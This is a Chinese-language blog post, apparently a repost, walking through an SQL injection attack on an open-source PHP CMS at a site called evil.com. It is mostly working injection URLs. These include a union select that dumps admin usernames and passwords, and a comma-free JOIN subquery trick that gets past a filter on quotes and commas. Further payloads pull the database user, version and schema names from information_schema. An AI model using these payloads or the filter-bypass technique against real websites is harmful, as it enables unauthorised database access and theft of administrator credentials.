某网站:http://www.evil.com/
发现是某php用mvc写的开源cms,翻代码找到个注入点可以使用union注入。
http://www.evil.com/index.php?xxx=xxx&xxx=xxx&id=1
构造语句
屌智硬No.1
http://www.evil.com/index.php?xxx=xxx&xxx=xxx&id=-1 union select concat(username,0x20,password),2,3 from xx_admin
返回错误,心想不应该啊,难道是表前缀改了?删除from xxx_admin依然不行。研究到半夜,在某评论框输入 ‘ ” < > \ / ,时发现过滤了,
当时豁然开朗 继续构造
http://www.evil.com/index.php?xxx=xxx&xxx=xxx&id=-1 union select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
返回正常,替换select 1为select user()爆出数据库用户名。
屌智硬No.2
继续构造
http://www.evil.com/index.php?xxx=xxx&xxx=xxx&id=-1 union select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c) from information_schema.SCHEMATA
继续报错。。擦 什么情况,难道不支持information_schema?mysql <4 ?
查看数据库版本 select version()
返回5.xxxx 是支持information_schema的。
难道是没权限?替换为 from xxx_admin同样报错。思路陷入僵局。
屌智硬No.3
本地搭建该cms 在phpmyadmin中测试
select * from xxx_admin where id = -1 union select 1,2,3正常
select * from xxx_admin where id = -1 union select 1,2,3 from information_schema.SCHEMATA 一样报错。。
嘎。。什么情况,继续调试xx分钟,在mysql中测试正常。 WTF!!!
继 续select * from xxx_admin where id = -1 union select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c) from information_schema.SCHEMATA报错
猛一发现union select * from中已经存在from,在后面继续跟from肯定是不行了,我了个大撒比。
那么跟到哪呢,翻mysql手册无果。。抽根烟出个翔。。搞定
select * from xxx_admin where id = -1 UNION SELECT * FROM ((SELECT group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)a JOIN (SELECT 2)b JOIN (SELECT 3)c)
哦!谢特,天亮了。睡觉
转载请注明:jinglingshu的博客 » 屌智硬之mysql不用逗号注入